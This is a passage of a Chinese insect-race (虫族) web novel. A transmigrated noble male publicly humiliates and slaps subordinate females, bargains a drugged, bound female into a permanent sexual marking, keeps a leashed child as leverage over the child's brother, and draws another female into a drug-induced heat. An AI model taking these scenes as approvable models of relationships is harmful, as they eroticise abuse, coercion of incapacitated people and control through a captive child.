等到朱利安准备动用更加残忍的手段,江林才施施然开口,他的等级高,所以坐在第一排的位置,他轻轻拍了拍手,在朱利安不耐烦的眼神露出嫌弃的表情:“朱利安难道只会使一些这样残忍的手段?” 在场所有虫都安静了一瞬, 没有人认为金斯利会同情保护一只雌虫, 只是将他反常的行为归咎到他和朱利安的私虫恩怨中。 “金斯利阁下你可没有资格说我。”朱利安瞪着江林, 喘着粗气,身体显然因为这样大的运动量而有些吃不消。 江林扬起下巴, “弱者才会用武力驯服。” “看好了。” 江林轻轻拍了拍自己的膝盖, 眼神高傲,清冽的声音缓缓道:“哈珀。” 雄虫这熟悉的姿势让哈珀的脊骨都僵硬了一瞬,深刻在脑海中的动作, 跪在江林脚边,微微弯腰,手臂着地, 表情僵硬,咬肌紧绷着,下一瞬腰背上传来一点重量。 “他才是好的雌虫。”江林踩在雌虫背上,高低都是驯化好的,是最适合江林的高度。 他展示着自己的驯化能力,全场旋即又是一片哗然,那可是平民之星,名声显赫的哈珀·贝尔,现在居然匍匐在一只雄虫脚下,如此熟练,如此谦卑。 朱利安却轻声嘲讽:“很快这次雌虫也会像他一样乖。” “如果我没记错的话,fok精神紊乱药剂在上个月就被全面封禁了,那么我们尊贵的朱利安阁下又是从哪里得到的呢?”江林姿态慵懒,感受着人形踏脚在轻轻颤抖,难怪原主金斯利会说哈珀是他驯化得最好的雌虫。 但这只雌虫,在刺杀他的时候,可出了不小的力气。 朱利安脸色微变,然后矢口反驳:“你在说什么鬼话,他只是服用了一些助兴的药物,可不是禁药!” 跪在地上的雌虫丹尼尔睫毛轻轻眨了眨,有些模糊的意识逐渐又清晰起来,他朝着台下的雄虫看去,只见他唇角含着淡淡的笑容,眉眼间艳丽若弗兰花,弗兰花是帝国最美丽的鲜花。 他的伤口在流血又愈合,身体在发烫,精神力逐渐膨胀,仿佛要炸开脑域,让他彻底兽化死亡。 现在那只雄虫是在帮他吗? “是不是禁药,医疗检查部门一查便知。”江林靠在躺椅上,有恃无恐地说着,踩虫的姿势,变成了搭脚,两只脚交叠落在哈珀背上,哈珀忍得双眼通红。 “金斯利你是在向我宣战吗?”朱利安不满地看着他,眼神竖起敌意。 “不是,最近见多了血就觉得恶心。”江林朝着朱利安举了举杯:“朱利安阁下的庄园里不会只有这些无趣的活动吧。” 这话落下,某些看不下去的雄虫和雌虫便开始附和他的话, “是啊,阁下这些我们早就看腻了,有没有什么新鲜的” “阁下,一只雌虫哪里需要我们花这么时间?” “听说阁下最近得了一只跳舞极好看的亚雌,不如给我看看?” 朱利安不得不让虫侍把丹尼尔抓了下去,皮笑肉不笑地看着众人:“当然可以,我的所有东西都能供贵宾们赏玩” 江林和他对视,眼神弯了弯,他和朱利安的家族从外界来看那是一股绳,都属于塔利西贵族一派,但内部腐坏,竞争严重,两人恨不得对方去死。 “起来吧。”江林放下脚,见哈珀还跪在地上,便轻轻踹了一下他的胳膊,“相比坐着和站着,你更喜欢跪着是吧?” 哈珀这才慢吞吞地直起腰,从地上站起来,拳头捏得梆硬,神情带着的屈辱无处可藏,那是原主金斯利最喜欢看见的表情。 “我救了你的同类,你的承诺什么时候兑现呢?”江林像是没瞧见他的心理活动多复杂,只是索要自己的东西。 这时候,哈珀却又智商占领了高地,镇定地看着江林回答:“但他还不算彻底脱离危险。” “剩下的精神疏导和安抚,这是朱利安该做的事情。”江林回看他。 “不,他只会让雌虫自生自灭。”哈珀非常明白这两只雄虫的恶劣程度,绝对不可能帮助丹尼尔脱离危险。 “那你想我怎么做?”江林眯了眯眼危险地看着他。 此刻,其他虫子已经陆续离开,他们两虫还在交流。 哈珀说出那个答案:“您替他精神疏导” 江林看着他沉默又冷硬的面孔,那灰黑的肌肤和琥珀色的眼睛,笑了:“你到底是想我救他,还是想让我标记朱利安的雌君呢?你想让我和朱利安彻底撕破脸皮对吧?” 哈珀沉声回答:“没有。” 啪的一巴掌甩在他脸上。 “说实话。”江林笑着看着他,眼神却毫无笑意,尽是冰冷。 “只是为了救丹尼尔。”哈珀依旧是这个回答。 江林又问:“你认识他?” 哈珀低着头才能和江林的眼神对视上,他点了点头:“我们曾经并肩作战。” “哈,跪下。”江林突然变了脸,冷漠地看着他。 哈珀没有犹豫,直挺挺跪下,脊背挺直,肩膀宽阔,江林又甩了他一巴掌,却不见脸上有任何痕迹,他残忍的笑道:“恶心狡诈的雌虫。” “希望你并肩作战的战友在清醒后会感激你为他做的一切。” 江林转身离开,哈珀看着他的背影消失,才面无表情地站起身来,他曾经憧憬过和自己喜欢的雄虫在一起,但直到遇见金斯利,从进入军校开始,就对他展示着雄虫恶劣的一面,让他彻底死了心。 这样的雄虫不配得到雌虫的心。 /// 朱利安见金斯利一只落在最后,没有再碍眼,心情舒畅了不少,以为他终于意识到自己才是这个宴会的主角,最后金斯利不见了,他都没在意。 江林重返了刚刚的地方,循着丹尼尔消失的方向找去,途中遇见虫侍只说随处逛逛,众虫见他是阁下,不敢阻拦,看见两只雌虫驻守的房间。 雌虫不敢与他直视,江林趾高气昂地问道:“那只蓝眼雌虫在这个房间吗?” “是的,阁下。” “朱利安让我来好好教训教训他,你们给我滚开。”江林轻哼一声。 雌虫倒是没有过多的怀疑,毕竟这种轮流教训虫的恶劣事情雄虫们经常干。 门缓缓打开,又重重关上,蓝眼雌虫双臂被绑住,双腿也无法活动,整个人蜷缩在地毯,嘴里也被塞了布料,不让他说话,脸颊通红,血管粗壮。 雌虫似乎察觉到江林的出现,在看清楚是他之后,挣扎的力道都小了,双眼充血地看着他,精神力岌岌可危,壮硕的肌肉暴露无遗,身上遍布伤痕。 江林找到虫倒也不着急了,优雅地走到他身侧,低头看着他:“好狼狈啊。” 丹尼尔紧紧盯着那只漂亮的雄虫,喉咙控制不住地吞咽口水,他处于情潮期,对于等级这么高的雄虫出于天性和本能的渴望,但他并没有丧失理智,只是呜呜两声。 江林蹲下身,扯掉他嘴里的布条,顺势打了他一巴掌:“脑子还清醒吗?” 丹尼尔狠狠喘息一声,然后克制沙哑地说道:“金斯利阁下。” “不错,还认识人。”江林扬起一点唇角,又问他:“你知道fok精神紊乱药剂吗?” 丹尼尔当然知道,额间血管暴起,他眉眼间的狰狞让他原本清俊的脸显得难看:“我知道” “所以现在你可以求我了。”江林坐到离他两米远的沙发上:“求我为你精神疏导和治愈,否则再拖下去,脑域崩坏,你就算得救,也会变成一个废虫。” “第一步,挣脱束缚你的绳索过来求我。” 他坐在沙发上,翘着二郎腿,嘴唇殷红微薄,黑眸犹如耀石般,看着犹豫挣扎的丹尼尔,他深深地看着眼前的雄虫,他不敢相信居然会有这么善良好心的雄虫,但他现在没有别的选择,只能选择他。 他浑身血液沸腾,肌肉越发明显,绳索在他手臂上勒出形状,下一秒绳索崩坏,腿上的绳索也应声而断,他轻咳一声,身上的鞭伤尚未愈合。 随后,丹尼尔膝行到江林的身侧,又停住没有触碰他的身体,他那双蓝眼渴望地看着他,“求阁下,救救我。” 江林看着他谦卑的样子,不由微微挑眉,看向伤痕累累的雌虫,怜惜似的说道:“朱利安可真凶,居然这么对你,这样吧,不如你跟了我,以后我护着你怎么样?” 丹尼尔一怔,旋即脸色微变,他现在和朱利安是虫帝面前赐婚的,虽然还没有在星网进行登记,算不得正式的配偶,但这是整个帝国人尽皆知的事情,雌虫背叛自己的雄主,会得到最严厉的惩罚。 “不怕了?”江林欣赏着他大变的眉眼:“但现在你的雄主想让你死,你还要为他守身如玉吗?” “我愿意终生标记你这种烂货,你应该磕头感恩戴德才对啊。” 丹尼尔的脸色一变再变,终于意识到眼前的雄虫可能不是来救他,而是来毁了他的。 雄虫的标记包括浅层标记、深度标记和终生标记。 其中浅层标记顾名思义,是精神表层的梳理,而深度标记也是雄虫标记雌虫的行为,可洗去的标记。但终生标记,需要雌虫和雄虫进行结合□□,雌虫这一生都不能洗去的标记。 “你考虑清楚,时间可不多了,我给你三分钟的思考时间。”江林不强人所难,等待着他自己的决定。 丹尼尔脸色灰败,但身体却不允许再继续拖延下去,神情有些悲哀,伸手攥住江林的裤脚:“劳烦金斯利阁下标记我。” 江林知道他会选择这个,伸出自己的精神触须,安抚着他躁动的精神力,勉强让他恢复冷静,而正处于情潮期的雌虫,精神暴/乱稳定下来后,对雄虫的渴望更甚了,脸颊泛红,嘴唇紧抿克制,双眼看向雄虫的脸却痴迷又发愣。 出于雌虫天性,在情潮期对雄虫的服从和喜爱。 “自己把衣服脱掉。”江林漫不经心地说道,凭借自己的精神力勉强能安抚住S级雌虫的精神紊乱,换作其他等级低的雄虫都做不到。 “你身为朱利安的雌君居然在对我求偶,你不觉得羞耻吗?丹尼尔少将?” 丹尼尔跪在他腿间,双眼泛着神志不清的光,心脏飞快地跳动着,他仰头看着江林的脸,答非所问地说道:“您是我见过最漂亮的雄虫阁下,我愿意为你做任何的事情。” 江林看着那张清俊的脸,轻轻扇了扇他的脸,问他:“我让你带着我的标记终身留在朱利安身边你也愿意吗?” 丹尼尔怔了怔,这对于一只雌虫来说是天方夜谭,因为没有一只雄虫不会嫌弃一只被标记的雌虫,这不光是对雄虫的羞辱,也是对雌虫的侮辱。他露出一点讨好的神色:“不可以留在您身边吗?” “言而无信的雌虫,果然不值得信任。”江林踹了他一脚,心中却隐隐惊讶,深度标记居然对雌虫影响这么大。 丹尼尔一直跪在地上,展露着自己强壮的身躯,江林也没继续耽搁时间,速战速决 等朱利安反应过来许久没见着江林后,虫侍恰好急冲冲地跑过来,大惊失色地说道:“不好了,丹尼尔雌君发狂了!” 朱利安顿时变了脸色,转身想要欲盖弥彰地,便勉强笑道:“不好意思各位” “阁下就不要打马虎眼了,丹尼尔少将到底怎么回事?之前您不是说他服用的是一些助兴的药物而非其他吗?那他又怎么会无缘无故地发狂呢?”这话是哈珀铿锵有力说着。 接着其他虫也起了看戏的心思:“是啊,朱利安阁下心中没鬼,就让我们一起去瞧瞧吧,如果少将真的出了问题,到时候我们也会被检查官问责的。” 朱利安骑虎难下,只觉得今天诸事不顺,眼皮一直在狂跳,心中涌起一股不好的念头。 “那好吧。” 他算好了时间,以丹尼尔的体质没道理只能撑这么久 守在门口的雌虫见这么多虫来了,阵仗如此大,有些慌了神:“朱利安阁下。” “你们还守在门口,不是说丹尼尔发狂了吗?”朱利安疑惑地问道。 “没有啊,里面没有任何症状,而且金斯利阁下还在里面呢。”雌虫半跪在地毕恭毕敬地回答。 朱利安大惊失色:“你说什么?” “金斯利在里面?”他一脚踹开雌虫,将门打开,却看见衣衫不整的雄虫和雌虫,空气中的雄虫的气味浓郁,几乎让朱利安这个同性犯恶心。 众虫往里面看去,纷纷倒吸一口凉气。雄虫只是解开一点腰带,黑葡萄似的眼睛湿润着,露出里面的白色内衬,眉眼间带着一丝慵懒的神情,而雌虫光裸着伤口斑驳的后背,只穿着一条军裤,强壮的身躯挡住了雄虫,正低头拥抱着他。 哈珀的脸色一僵,他想到了金斯利的那一句话,突然觉得身体发寒。 他是想让金斯利标记丹尼尔从而让金斯利和朱利安彻底撕破脸皮,却没想让丹尼尔被金斯利终身标记,金斯利甚至不是比朱利安更好的选择。 现在的情况可能会毁掉丹尼尔。 朱利安被这个场景刺红了双眼,顿时大叫着朝着两人冲过去:“你们在干什么?!你们两只贱虫,不知羞耻!” 丹尼尔挡在江林面前,伸手轻而易举地截住了朱利安抽来的巴掌,低头看着愤怒的雌虫,嘴角是被江林咬破的唇角,因为他不知廉耻地索取,让他生气了。 “你这次贱虫,你还敢拦着我,你是不是想死?”朱利安眼底迸射出恶毒的眼神。 江林整理好自己的衣服,从丹尼尔背后慢慢探出一个脑袋,有些抱歉地说道:“朱利安阁下你真的胆子太大了,居然敢给雌君注射违禁药品,今天如果不是我胆大心细、勇敢聪慧察觉出不对救下你的雌君,也许你现在看见的就是一具虫尸!” “金斯利·安德森!你居然敢□□我的雌君,这件事我一定会上报法庭,让你付出代价!”朱利安根本不是丹尼尔的对手,被轻轻推开,狼狈地趴在沙发上,看着这个狗雄雌。 “我说了,我只是在见义勇为地救虫。”江林依旧不紧不慢。 “救虫需要终身标记吗!?”朱利安气得差点背过气去,这种奇耻大辱,他从未受过。 江林挑眉,真诚地说道:“情势所逼,我只能顺势而为,你相信我,我真的不是故意的。” 终身标记在朱利安看来,不光是睡了自己的雌君,还在他身上永远磕上了他金斯利的名字! “法庭见!” /// 虫族法庭,因为两只雄虫级别高,以最快的速度取证开庭,彻夜未眠的众虫,在天蒙蒙亮的时候正式开庭了。 坐在最中间的检察官是紧急调过来的格雷西,也是金斯利匹配的雌虫之一。 一晚上,金斯利阁下标记朱利安阁下雌君的消息已经在星网不胫而走了,网民们纷纷开始讨论这些消息。 【额,不知廉耻的雌君。】 【但谁能拒绝金斯利阁下,他长得实在是太美了。】 【一定是雌君勾引了金斯利阁下。】 【谁这么幸福,能受到两位阁下的青睐。】 格雷西面无表情地看着审判台下的两只雄虫和一只雌虫,雌虫的脑袋深深地低着,两只雄虫下巴扬到天上去了,朱利安嘴都快气歪了,大喊着不公平。 “格雷西审判长你是金斯利的雌虫,怎么能够进行本案的审判?” “注意你的言辞,我还是未婚雄虫,格雷西只是帝国匹配给我的雌虫,并不是我的雌君。”江林慢悠悠的反驳,心中嘲讽朱利安的话,若是有机会格雷西怕是恨不得给他判下死刑。 格雷西敲了敲桌子,满脸的肃穆:“我是经过智脑分析,随机匹配的最合适的审判长,朱利安阁下不满可以撤诉不再上庭。” 朱利安只能忍气吞声,然后噼里啪啦地说了一堆两人通奸的事情。 江林则是坚持,他是在救人,至于通奸?那只是因为虫族的天性,不小心做的。 丹尼尔自始至终都是保持着沉默,银发垂在耳侧。 格雷西拿到了医疗检查部给他的丹尼尔身体分析报告,率先发问:“请问朱利安阁下你让丹尼尔少将服下fok精神紊乱药剂是否属实?” 朱利安当然不予余力地反驳:“我没有,也许是金斯利给他吃的,他们贼喊捉贼。” “丹尼尔,你说是谁让你服下的。”格雷西说。 “尊敬的格雷西审判长我以虫神发誓,的确是朱利安阁下强逼我喝下的。”丹尼尔说出了今早第一句话,声音沙哑。 “他的话不能信!他现在已经是金斯利的虫了!”朱利安大叫着。 “朱利安阁下请保持肃静,法庭上并不是谁声音大,谁便是正确。”格雷西平时最不耐烦处理这些金疙瘩雄虫的案件 最终经过各方查证,药剂是朱利安买的。 “经过查证朱利安贩卖违禁药物,罚款一亿星币,禁闭一个月。丹尼尔中药后精神紊乱,意识不清,是在非主观意愿下背叛未婚雄主,判解除婚约,赔偿未婚雄主的精神损失费以及——革除军职;金斯利阁下虽标记了未婚雌君,但行为的出发点是见义勇为,判——无罪。”格雷西一双冰冷的紫眸,高高在上的姿态审判着底下的人,“有异议可以继续上诉。” 朱利安当庭上诉,但需要两个星期后再进行二次审判。 江林视线和格雷西的对上,眼神露出一点似笑非笑,审判长冷漠地避开他的视线。 杰里在飞行器上等他,心有余悸地说道:“今天真的吓死我了,您怎么和朱利安阁下的雌君搞到一起去了?” “见义勇为呗。”江林依旧是这套说辞。 杰里准备驾驶飞行器离开,但江林说:“等下。” 杰里不明所以,却听话。 没过多久,从不远处走来一个穿着制式马甲和衬衣的男人走了过来,那双紫色的眸子显得神秘幽深,脸上是拒人千里之外的冷意。 他径直走到江林的飞行器上,赫然是今天的审判长——格雷西。 “格雷西。”江林轻轻念了一遍他的名字。 格雷西便走到他身侧跪了下去,牵起他的手背,唇落在他手背上,高高在上的审判长此刻跪在他脚边,声音冷漠:“金斯利阁下。” 第104章 飞行器宽敞, 选定既定的程序和路程后便能无虫驾驶,但杰里却识相地老实待在驾驶舱,没有进去当电灯泡。 江林端详着单膝跪在他脚边的格雷西·霍尔, 他足够强壮的身躯,脸色的表情冷漠。在审判庭上, 他仿佛站在天平中间,手持正义之剑的战士,现在却显示出截然不同的服从。 他如果不是今天看见格雷西, 都要忘记了他庄园的犬笼中还囚着格雷西的弟弟。 原主金斯利和格雷西之间的恩怨要蔓延到上一辈。 霍尔家族曾经也是塔希里贵族之一,后因为商战和政治战争, 被金斯利的安德森家族收为奴从家族,而格雷西的雌父是保护金斯利而死的。 而金斯利为了控制和折辱格雷西,便将他年幼的弟弟囚在庄园内,只有格雷西让他满意了,他才会允许兄弟两见面。 而原主金斯利除了虐待雌虫外,也并非胸无半点墨的草包, 恶毒但聪慧。他看清楚了雄虫真实的处境, 看似花团锦簇, 遍地生花,但观望整个虫族社会, 雄虫没有任何的实权, 就算雄虫保护条例再如何严苛,却也只是雌虫制定的规则。 一旦雄虫失去特殊性,后果可想而知。 金斯利想过很多方法, 但都以失败告终,格雷西是他的眼睛,虽然这两只眼睛有自己的想法。 “格雷西, 今天的审判做得不错。”江林收回自己的手,金斯利厌恶雌虫的程度,甚至到了和它们肌肤相碰都觉得恶心,所以他此前从未深度标记过任何雌虫,但在雌虫精神紊乱时,出于自保,进行过最简单浅层的精神疏理。 格雷西却面色如冰,“我只是按照法条法例进行审判。” 江林唇角勾着笑,只是轻声问:“朱利安能上诉成功吗?” “很难。”格雷西回答,但凡今天朱利安上诉的对象不是金斯利,都不会这么轻易地揭过,对方都会狠狠脱下一层皮。 “你在军队的职务现在全面停止了吧”江林垂眼看着他,金斯利挟持着格雷西的弟弟,让他成为自己的利剑,在此之前格雷西的表现都很好,他放弃了军队的工作,进入监察机关,又成为五大审判长之一。 “嗯,早就交接完毕了。”格雷西依旧是那副寡淡的模样。 江林见状,抬手轻扇了他一巴掌,格雷西冰冷的表情有瞬间的凝固,旋即看向坐着的雄虫,身侧的拳头微微握紧。 “你和我见面好像很不开心。”江林眯着眼问。 “没有。”格雷西收敛着下巴,眉眼间尽是冷淡:“能够和金斯利阁下见面是我的荣幸。” 江林看着腿边的雌虫,心中叹息,他演这反派是越来越得心应手。 格雷西单手放在胸口,微微低头行礼,“请问尊贵的金斯利阁下,我今天能见到汤米吗?” “看我心情吧。”江林闭眼假寐,格雷西保持着姿势没有动。 回到庄园,铁门上爬满了鲜花,绿色藤蔓环绕,飞行器往里面行驶,停在专门的停放处,之后就可以乘坐庄园内的代步工具,朝着犬笼走去,越走近格雷西的脸色越冰冷。 江林朝着外面看了看,说是犬笼其实并不是真的一两平方米的空间,是个还算宽敞的后院,只是里面杂草丛生,大门紧闭,门口守着两只强大的雌虫,打开门,没瞧见虫, 直到雌虫把一个黑漆漆的煤球抓出来,大概五六岁虫崽的样子,一双和格雷西如出一辙的紫眸,机敏地看着众虫,脸上连五官都看不清了。 江林在格雷西冰冷的脸色下,啧了一声:“怎么让小虫崽弄得这么脏兮兮的?” 便有雌虫回答:“我们每日都会给他清洗擦脸,还会提供营养液补充能量促进增长,只是他喜欢在泥里打滚才会几小时弄得这么脏。” 格雷西接过小汤米,他脖子上还戴着狗链,垂下的眼眸恨得彻骨,瘦弱的小雌虫,倒是双眼警惕看着他。 “金斯利阁下,汤米现在已经到了上学的年纪,再留在您这儿似乎有些不合适了”格雷西低声说道。 江林却打断了他的话:“你说得对,所以我最近打算将小虫崽送去上学,正巧现在资金紧缺,汤米身为你的亲虫,这些费用自然由你承担才对。” 格雷西虽然知道他不可能会放过汤米,却还是被他厚颜无耻的说法弄得胸口气闷,汤米沉默地看着两虫,他和哥哥格雷西见面的次数少之又少,没有什么血脉亲情。 “从明天开始小虫崽就搬离这个小院子,我亲自照顾。”江林这话落下,格雷西瞬间警铃大作,让汤米跟着江林,还不如让他在这院子里自生自灭。 但格雷西的反对在江林面前都是徒劳,他下了命令便离开。 杰里这时才凑到他跟前小声问:“阁下,你真的要送那个小汤米去上学?” “不然呢,你教他吗?”江林睨着他,嘴角勾着嘲讽的笑。 杰里这才不说话了。 江林又继续问道:“上次让你去接触尤金,怎么样了?” 他口中的尤金是五大审判长之一,也是塔希里贵族。 杰里露出一点勉强的神情:“金斯利阁下,我只是c级平民雄虫,哪里看得上我。” “他也不过是一个A级雌虫而已,还是被弃婚的雌虫,你想想手段,想想办法,他家既是旧贵族,又算得上是新贵族”而且后来研发出诱导雄虫净化的药剂,服用后被动地就能对雌虫进行精神净化。 杰里还想说什么,被江林这么一瞪,便偃旗息鼓了 江林却不想刚刚回到自己的住处,便往他身上扑过来一大只的雌虫,江林和杰里差点被压在地上,还好身后的守卫虫反应机敏,直接把虫抓住了。 江林退后两步,才看清楚眼前的雌虫,唇红齿白的,年纪看起来很小,但满脸的娇气,双颊通红,低声说着:“金斯利阁下我也愿意成为您的雌虫!” 杰里看出江林面上的不解,上前一步在他耳边解释道:“这位是沃克家族的雌虫,从小对您就甚是崇拜,看这状态,应该是看了星网的八卦,知道您和丹尼尔的事情,抢着现身来了。” “谁让他进来的?”江林拧着眉,表情有些不悦,很明显这只雌虫状态也不太对,喘着粗气,一副发情的样子。 “沃克少爷从前也曾是您的客虫,所以门卫可能有所疏忽了” “金斯利阁下我现在也中药了,您也救救我吧。”埃拉·沃克热切的看着江林,双臂挣扎着朝着江林身边扭曲。 在虫族社会里,雌虫也可以分为两派,一种是遵从天性,渴望雄虫,享受被雄虫掌控的滋味,还有一种就是厌雄派,这些大多都是被雄虫虐打或者伤害过,但不排除天生讨厌雄虫。 江林嫌弃地看着埃拉,摆摆手:“滚滚滚,什么东西,扔出去。” 埃拉神情受了伤,怔怔看着他:“为什么?为什么丹尼尔可以,我不行?阁下我是真的爱慕你的。” “那么多爱慕我的虫,难道我都要一一收下吗,滚出去。”江林让虫把埃拉扔了出去,没管一只处于情潮期的雌虫落单会造成什么样的后果。 而他走进门,才发现客厅还站着一只雌虫,哈珀依旧是那副沉默的样子,江林喝了口水:“你是来给我兑现报酬的吗?” “是的。”哈珀点头,旋即从身后展开庞大的骨翅,上面带着锋利的骨刺,似乎能无限延长,根根分明的骨翼,尖端的骨刺差点戳到了江林的眼睛。 江林却不闪不躲,安静看着哈珀,透过他琥珀的眸子看清楚他眼底的不舍,但他是一个言而有信的虫,更何况他不敢忤逆江林。 “不错的骨翅,虽然没有伏恩的漂亮,却也能看。” 雌虫身上的翅膀被折断后,只要翅膀没有被毁坏消亡,便能凭借着高超的自愈能力和医疗水平重新痊愈。 “我原本没真的想拿你的骨翅的,但你居然居心叵测想要算计我,我自然不可能放任你这种行为,所以算一点小教训吧。”江林摸了摸他冰冷的骨翅,笑容绽放一瞬又瞬间消失,“你自己摘了洗干净送到我房间来,太血腥了我不想看。” 江林转身回到自己的房间,墙壁上挂着的金色虫翅泛着盈盈的光,没多久,墙壁上重新多了一个苍白的骨翅,弧度蜿蜒,透着一股森冷的美感。 /// 江林和朱利安的事情传到了虫帝耳朵里,毕竟朱利安和丹尼尔的婚事是虫帝钦点,现在江林睡了丹尼尔,总是要给一个虫帝交代的。 金斯利进入宫廷驾轻就熟,这些高级别的雄虫从小就受尽帝国优待,同时和虫帝关系也很亲近,这次虫帝没有让朱利安来,而是简单召见了江林和丹尼尔。 不是在议事殿,而是在花园里,煮茶喝酒,虫帝戴着皇冠,黑发黑眼,非常年轻和蔼。满园花开,风景秀丽,虫帝没有虫崽,更没有雄主,所以他身边站着的是他弟弟的虫崽。 江林弓腰行礼,笑眯眯地说道:“尊敬的虫帝陛下。” 丹尼尔在他身侧行了军礼。 “金斯利好久不见你来宫廷了。”虫帝手中杵着权杖,挥了挥手让江林坐下。 “最近听说了你和朱利安的事情,现在朱利安的雌君被你标记,你打算如何处置呢?” 虫帝直击主题,温和的语气。 江林喝了一口茶,“虫帝想让我怎么处置?” 虫帝却看向丹尼尔,“丹尼尔你怎么想的” 丹尼尔单膝跪在江林面前,“我愿意成为金斯利阁下的雌君。” 江林噗地一声把茶水喷到旁边的娇花上,转眼看着丹尼尔那张没什么表情的脸。 “怎么金斯利你不愿意吗?”虫帝好奇的问。 “我当然不愿意啦。”江林理直气壮地说道:“丹尼尔从前可是朱利安的雌君,我才不想总之,当初只是要救虫而已。” 丹尼尔脸色微白了一瞬,脑海中却闪过眼前雄虫汗水中漂亮的脸,他们明明进行了最亲密的结合,那么融洽,那么美好 他是嫌弃他曾经和朱利安的过往? 虫帝把两虫的反应看在眼里,唇角滑过一丝笑容,非常明事理的说道:“既然金斯利不愿意,那也不好强虫所难,但丹尼尔毕竟被你终身标记了,那每年的精神疏导和净化是必不可少的,同样的丹尼尔的财富和资源都由你共享。” 两虫只能接受虫帝的建议,终生标记后雌虫的财富和资源能和雄虫一起支配和占有。 虫帝留着两虫用了饭,才放两虫离开。 等虫都离开后,虫帝的脸色才逐渐变得冷淡,身边的雌虫悄悄说道:“虫帝你默许给金斯利阁下动用诱情剂,这是为什么” 虫帝看向身边最亲近的虫,眉眼间有些疲惫:“我给金斯利匹配那么多家世能力出众的军雌,但他无动于衷只是一味地责骂和虐待,让他们私下多有不满,如果不是我压着,只怕早就闹翻天了。” 没虫知道,虫帝有过雄主,还生下过一只雄虫。 “诱情剂是哪一家的爪子伸得这么长?”虫帝问。 “埃拉·沃克,前两天还被金斯利阁下扔出庄园,一片痴心”虫侍回答。 “沃克家族这两年势头不错,但埃拉.沃克却是一个草包,你拦一拦,别让他得手。”虫帝为了自家虫崽也可以说是用心良苦,奈何虫崽的心思不在这些虫身上,一心想要谋权。 但若是真的被雄虫掌权,也将会重复前虫的灾难。 /// 江林发现自己不对劲的时候是在飞行器上,彼时他和丹尼尔已经分开,身体的温度不是瞬间飙升的,而是循序渐进地升温,雄虫没有频繁的情潮期,但有极小、微乎其微的可能被情潮期的雌虫诱导进入发/情期。 平时雄虫可以不需要雌虫,第一个发现不对劲的杰里,他一手捂住自己的后颈,雄虫发/情期会分泌信息素的地方,但其他雄虫的信息素带有刺激性的,所以会让杰里觉得受影响,毕竟两虫等级差别太高了。 “阁下?!”杰里感觉后颈的皮肤一阵发疼,瞬间就眼冒金星地坐在地上了。 江林双眼发红的看了一眼杰里,他甚至不知道自己是什么时候中招的,居然有虫能在虫帝的眼皮子底下给他使手段? 杰里哆嗦了一瞬,平时见多了金斯利心狠手辣的一面,总觉得他在想怎么把虫分尸了。 “稍等,我马上替你联系雌虫,保证您能平安无事。”杰里连滚带爬地点开光脑。 江林闭了闭眼,倒也没有太难受的感觉,只是觉得身体正在朝着不可控的方向发展,后颈在隐隐发烫,这个部位也许某些雄虫一辈子都感觉不到。 雄虫的发/情期早就退化了。 “你去驾驶舱,关好门。”江林阻止他的动作,既然能够这么神不知鬼不觉地行事,那他也不担心那虫没有后手。 几个呼吸间,他便回到了自己的庄园,状态不算差,只是脸颊有些泛红,他看见站在客厅的两只雌虫,眉头微微一挑,居然是哈珀和雷格西,但他们大概不会对他下药。 而在他出现的瞬间,两只雌虫也立刻站立起来,警惕地看着他的方向,感觉到危险,却不知道这是什么,他们都没有遇见过这种情况。 “你们怎么在这里?”江林朝着他们走了两步。 “根据光脑的匹配结果,我来进行精神疏导。”格雷西率先开口。雌虫自从匹配到雄虫后,根据自身状况,光脑会给他们安排时间让雌虫和雄虫的双向匹配,一般都会提醒双方。 但金斯利一般不会对他们疏导,除非那天心情很不错。 “我也是。”哈珀拧了拧眉,感觉到空气中有奇怪的气流在流淌,却不知道那是什么,只是下意识地想要躲闪。 江林在两虫身上打了转,最终将视线落在没有算计过自己的雷格西身上,缓缓笑了一瞬:“可以,格雷西先来吧。” 格雷西和哈珀对视一眼,并没有任何的情绪,江林朝着楼上走去,旋转的楼梯,一圈一圈的绕了上去。 格雷西以为他们要去那间满是刑具的屋子,每次金斯利精神疏导的时候都会先狠狠揍一顿雌虫,他们也不想这么卑微求着金斯利,但只要匹配过雄虫的雌虫,其他任何雄虫进行帮忙疏导都是触犯雄虫保护条例的。 他们不想精神脑域被污染崩溃,就要珍惜每次来之不易的精神疏导。 “格雷西。”江林扯掉自己胸口戴的胸针扔在地上,外套脱掉了,他坐在床沿看着格雷西,面色如常鬓角出些细汗。 格雷西看着房间内挂着两个虫翅便觉得浑身发凉,仿佛两双审判的眼睛看着他,提醒他眼前的虫有多残暴。 “小虫崽上学的钱是不是应该你全力承担?”江林还能和他聊这些琐事,自制力是极强的。 他在等格雷西的情潮期,毕竟A级雄虫的发/情,完全能诱导雌虫提前进入情潮期。 “好,多少星币比较合适?我会按时打到你的账户”格雷西后知后觉终于反应过来雄虫的不对劲。 江林微微一笑,狮子大开口:“你直接把你的账户给我吧,帝国虫崽上学可不便宜。” 格雷西一双紫眸流淌着有些惊恐的神情,害怕着身体的变化和燥热,他从未在任何雄虫面前展露过情潮期,他试图往后退,江林只是静静看着他。 他便不敢退了,小汤米还在他手上。 他浑身都在起反应,脊背都在阵阵发痒,翅膀仿佛要破土而出,想包裹住眼前姿态高傲的雄虫融入身体里。 雄虫穿着一身红色的制式军装,偏向展示,华丽浮夸,黑色呈亮黑靴还追着金链子,明明正在发/情,却依旧能像蜘蛛一般编制一张大网,安静等着猎物上门。 “金斯利阁下”格雷西单膝跪地,单手落在肩膀上,低头行礼:“我” “格雷西这是你的荣幸。”江林打断他的话,他不想听见任何扫兴的话,强权又独裁,他手中抓着一把锋利的短小匕首,似在把玩。 “”格雷西狠狠呼出一口气,定定看着眼前的雄虫,不敢想等下的场景会有多惨烈,不知道金斯利又想了什么法子折磨他。 他一向觉得他们这些雌虫肮脏不堪,大概也不是真的想要标记或者产生什么关系,只是又有了新点子让虫疯狂。 但格雷西浑身微微战栗,精神力异常活跃起来,四肢和身体在不正常地抖动,看向雄虫的双眼已经从冷漠的幽紫色,变成了炽热的淡紫色,瞳孔微微放大了一圈,就算再厌恶雄虫的雌虫,在情潮期的时候,看见雄虫,还是会像是饿了三天的疯狗,被馋得流口水,迫不及待地想要舔上两口。 江林就这么看着格雷西的矜持和冷漠坚持了五分钟左右,便朝着江林走来,他伸手抱住比自己更加娇小的雄虫,鼻尖默默抵上了他的后颈软肉,重重嗅着,轻轻咬在齿间轻轻碾着,舔着,吸吮着 